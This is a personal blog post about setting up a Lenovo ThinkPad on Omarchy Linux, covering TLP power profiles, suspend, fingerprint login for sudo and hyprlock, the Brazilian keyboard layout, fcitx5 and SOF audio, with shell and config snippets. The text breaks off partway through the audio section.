<p>The story of this article starts in a previous thread. I recently migrated my home server, swapping an old Ubuntu box for a <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">Minisforum MS-S1 running openSUSE MicroOS configured with Claude Code</a>. That was the first serious experiment of letting Claude Code drive an entire infra migration, with containers, NFS, services, networking. It worked. And it left an idea in the air: why not use the same approach to configure a new notebook?</p>
<p>That&rsquo;s what I did. I grabbed the Thinkpad, downloaded the latest Omarchy ISO, burned it to a flash drive, installed it over Windows. From zero to working desktop in under an hour. From there on, it&rsquo;s all tweaking, which I documented as I went.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-claude-terminal.jpg" alt="Claude Code running on the Thinkpad terminal, ready to start configuring the notebook"  loading="lazy" /></p>
<p>I&rsquo;ll detail the two layers of customization: what any notebook needs, and what&rsquo;s specific to this Thinkpad.</p>
<h2>Laptop-specific configs<span class="hx:absolute hx:-mt-20" id="laptop-specific-configs"></span>
    <a href="#laptop-specific-configs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A notebook has problems a desktop doesn&rsquo;t: battery, suspend, lid, brightness, trackpad. Those are the parts Omarchy default doesn&rsquo;t cover the way I want.</p>
<h3>Power management with TLP<span class="hx:absolute hx:-mt-20" id="power-management-with-tlp"></span>
    <a href="#power-management-with-tlp" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Omarchy defaults to <code>power-profiles-daemon</code>. I swapped it for TLP, which gives granular control over CPU scaling, battery thresholds and dynamic profiles based on AC vs battery.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S tlp tlp-rdw
</span></span><span class="line"><span class="cl">sudo systemctl mask power-profiles-daemon.service
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tlp.service</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The <code>mask</code> is necessary because upower pulls <code>power-profiles-daemon</code> back in if you just <code>disable</code> it.</p>
<p>Charge thresholds: 60% to start, 85% to stop. The notebook spends most of its time plugged in on the office desk, and keeping the battery at 100% 24/7 wrecks capacity over time. With 60/85, the battery spends most of its time in the healthy lithium range and still has decent usable capacity.</p>
<p>Profiles: <code>balanced</code> with <code>balance_power</code> on battery, <code>performance</code> on AC. TLP&rsquo;s <code>low-power</code> was too aggressive on the Core Ultra 5 235U, window and terminal response became noticeable. Balanced gives the best consumption/responsiveness ratio for normal use.</p>
<p>There&rsquo;s a gotcha: <code>tlp auto</code> after <code>tlp ac</code> doesn&rsquo;t always re-apply the battery profile. I wrote a small script bound to <code>Super+Ctrl+P</code> that reads the current state and calls <code>tlp bat</code> or <code>tlp ac</code> explicitly:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nb">set</span> -euo pipefail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">profile</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> unknown<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">on_ac</span><span class="o">=</span><span class="k">$(</span>cat /sys/class/power_supply/AC*/online 2&gt;/dev/null <span class="p">|</span> head -1 <span class="o">||</span> <span class="nb">echo</span> 0<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$profile</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;performance&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$on_ac</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;1&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp auto &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;Plugged in — back to AC auto&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp bat &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;On battery — normal profile&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: off&#34;</span> <span class="s2">&#34;</span><span class="nv">$label</span><span class="s2">&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  sudo /usr/bin/tlp ac &gt;/dev/null
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: on&#34;</span> <span class="s2">&#34;Forcing AC profile&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In waybar, a custom module <code>custom/perf</code> shows the current state (󰓅 PERF, 󰌪 ECO, or empty for balanced) and accepts a click to toggle. The output script is tiny:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">p</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">  performance<span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;󰓅 PERF&#39;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  low-power<span class="o">)</span>   <span class="nb">printf</span> <span class="s1">&#39;󰌪 ECO&#39;</span>  <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  balanced<span class="p">|</span><span class="s2">&#34;&#34;</span><span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;&#39;</span>       <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  *<span class="o">)</span>           <span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Suspend, hibernate, and the lid<span class="hx:absolute hx:-mt-20" id="suspend-hibernate-and-the-lid"></span>
    <a href="#suspend-hibernate-and-the-lid" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is what changed compared to the notebooks I used in 2015. The T14 Gen 6 closes the lid, suspends, and wakes up when you open it. No bug, no weird delay, no needing to log in again mid graphical session. Hyprlock kicks in after the suspend, accepts fingerprint or password, and brings me back to the desktop in seconds. This is the behavior Apple has had for years and that on Linux used to be an adventure. In 2026, on modern hardware with kernel 6.11+, it just works.</p>
<p>Mem sleep mode is s2idle (no deep sleep). Hibernation is enabled via a ~30 GB Btrfs swapfile and <code>resume=/dev/mapper/root resume_offset=...</code> on the Limine kernel cmdline. I rarely use it, but it&rsquo;s there.</p>
<p>Hypridle has aggressive timeouts for a laptop:</p>
<ul>
<li>2.5 min → screensaver</li>
<li>5 min → lock</li>
<li>5.5 min → DPMS off + keyboard backlight off</li>
</ul>
<p>After lock, another 5 min and the screen turns off completely. On unlock, it restores screen and keyboard brightness to the previous level. These timings are much shorter than on the desktop (20-40 min there). The battery difference over a day is measurable.</p>
<h3>Brightness and keyboard backlight<span class="hx:absolute hx:-mt-20" id="brightness-and-keyboard-backlight"></span>
    <a href="#brightness-and-keyboard-backlight" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><code>brightnessctl</code> controls both. Fn+Space toggles the keyboard backlight across three levels. Hypridle saves the current level before turning off and restores it on resume. Command I use in the script:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">brightnessctl -sd <span class="s1">&#39;*::kbd_backlight&#39;</span> <span class="nb">set</span> <span class="m">0</span>    <span class="c1"># save and turn off</span>
</span></span><span class="line"><span class="cl">brightnessctl -rd <span class="s1">&#39;*::kbd_backlight&#39;</span>          <span class="c1"># restore</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Touchpad<span class="hx:absolute hx:-mt-20" id="touchpad"></span>
    <a href="#touchpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>clickfinger_behavior</code> swaps the 2-finger click as right-click (more comfortable than hitting the lower-right zone). <code>disable_while_typing</code> is basic palm rejection. Three-finger horizontal swipes switch workspaces, the most useful gesture in Hyprland.</p>
<h2>Thinkpad-specific configs<span class="hx:absolute hx:-mt-20" id="thinkpad-specific-configs"></span>
    <a href="#thinkpad-specific-configs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is what&rsquo;s specific to this model. Some things modern Linux handles on its own, others need explicit configuration.</p>
<h3>Fingerprint sensor<span class="hx:absolute hx:-mt-20" id="fingerprint-sensor"></span>
    <a href="#fingerprint-sensor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Goodix MOC <code>27c6:6594</code>, works with libfprint 1.94.9+ on kernel 6.11+. Package is <code>fprintd</code>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S fprintd
</span></span><span class="line"><span class="cl">fprintd-enroll                        <span class="c1"># right index finger by default</span>
</span></span><span class="line"><span class="cl">fprintd-enroll -f left-index-finger   <span class="c1"># other finger</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>To make <code>sudo</code> accept fingerprint, I added <code>auth sufficient pam_fprintd.so</code> above the <code>pam_unix.so</code> line in <code>/etc/pam.d/sudo</code>. With <code>sufficient</code>, if the fingerprint passes, it authenticates directly. If it fails or I hit ESC, it falls back to the password prompt. This is genuinely worth it: dozens of times a day, <code>sudo pacman -Syu</code> or <code>sudo systemctl restart something</code>, and I just touch the sensor.</p>
<p>On hyprlock, I use hyprlock&rsquo;s native configuration, not PAM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>auth {
    fingerprint {
        enabled = true
        ready_message = Scan fingerprint or type password
        present_message = Scanning...
        retry_delay = 250
    }
}</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The PAM path gives a double prompt. Configured natively, hyprlock accepts fingerprint or password, whichever succeeds first unlocks.</p>
<p>On SDDM (initial login), I kept password only. The reason: the login password unlocks the GNOME keyring, and the fingerprint can&rsquo;t provide plaintext for that. Once the keyring is unlocked, hyprlock can use fingerprint without issues.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/sudo-asks-for-fingerprinting.png" alt="sudo prompt asking for fingerprint read"  loading="lazy" /></p>
<p>In practice, sudo looks like that. Touch the sensor, authenticate, move on.</p>
<h3>Brazilian Thinkpad keyboard<span class="hx:absolute hx:-mt-20" id="brazilian-thinkpad-keyboard"></span>
    <a href="#brazilian-thinkpad-keyboard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The Brazilian Thinkpad keyboard has an annoying quirk. The <code>/?</code> key sits where the right Ctrl would be (keycode 97), not in the traditional ABNT2 AB11 position (keycode 89). If you use the standard <code>br(abnt2)</code> layout, that key is inaccessible. It literally prints nothing.</p>
<p>The solution is the <code>br(thinkpad)</code> variant that exists in <code>/usr/share/X11/xkb/symbols/br</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>xkb_symbols &#34;thinkpad&#34; {
    include &#34;br(abnt2)&#34;
    name[Group1]=&#34;Portuguese (Brazil, IBM/Lenovo ThinkPad)&#34;;
    key &lt;RCTL&gt; { [ slash, question, degree, questiondown ] };
};</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>kb_layout = br
kb_variant = thinkpad
kb_model = thinkpad60</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And system-wide for TTY/X11:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo localectl set-keymap br-abnt2
</span></span><span class="line"><span class="cl">sudo localectl set-x11-keymap br thinkpad thinkpad60</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I wrote a small Python that reads raw scancodes from <code>/dev/input/event*</code> to diagnose these quirks. Useful when a key decides not to work and you need to find out if it&rsquo;s hardware, kernel, or xkb.</p>
<h3>Input method: fcitx5<span class="hx:absolute hx:-mt-20" id="input-method-fcitx5"></span>
    <a href="#input-method-fcitx5" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Alongside the layout I install fcitx5. Input method, for those who don&rsquo;t know, is the layer that turns a key sequence into characters. It handles deadkeys (tilde for nasalization, acute accent, circumflex), composing characters that aren&rsquo;t on the keyboard (ç, Ç, uppercase accented letters), emoji support. In Qt or GTK apps, the input method also drives context menus for cedilla and accents.</p>
<p>Packages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed fcitx5 fcitx5-configtool fcitx5-gtk fcitx5-qt</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And the environment variables for toolkits to find fcitx5. I created <code>~/.config/environment.d/fcitx.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>INPUT_METHOD=fcitx
QT_IM_MODULE=fcitx
XMODIFIERS=@im=fcitx
SDL_IM_MODULE=fcitx</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>systemd&rsquo;s <code>environment.d</code> is loaded before graphical sessions, so Brave, Alacritty, VS Code and any GTK/Qt app pick it up automatically. I enable autostart in Hyprland:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>exec-once = fcitx5 -d</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Typing <code>~a</code> produces <code>ã</code>, <code>'e</code> produces <code>é</code>, <code>ç</code> works as it should in every app. On a Brazilian Thinkpad keyboard, this is the difference between typing Portuguese naturally or hunting for each character.</p>
<h3>SOF audio<span class="hx:absolute hx:-mt-20" id="sof-audio"></span>
    <a href="#sof-audio" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Realtek ALC3306/ALC287 codec via Sound Open Firmware. Without <code>sof-firmware</code>, the kernel module loads but the DSP never boots and PipeWire silently falls back to <code>auto_null</code>. Result: you think the speaker is on mute, but actually PipeWire has no device at all.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed sof-firmware alsa-ucm-conf pipewire pipewire-pulse wireplumber</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If you need to force SOF instead of legacy HDA:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;options snd-intel-dspcfg dsp_driver=3&#34;</span> <span class="p">|</span> sudo tee /etc/modprobe.d/alsa.conf</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Reload without reboot:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo modprobe -r snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">sudo modprobe snd_sof_pci_intel_mtl
</span></span><span class="line"><span class="cl">systemctl --user restart wireplumber pipewire pipewire-pulse</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
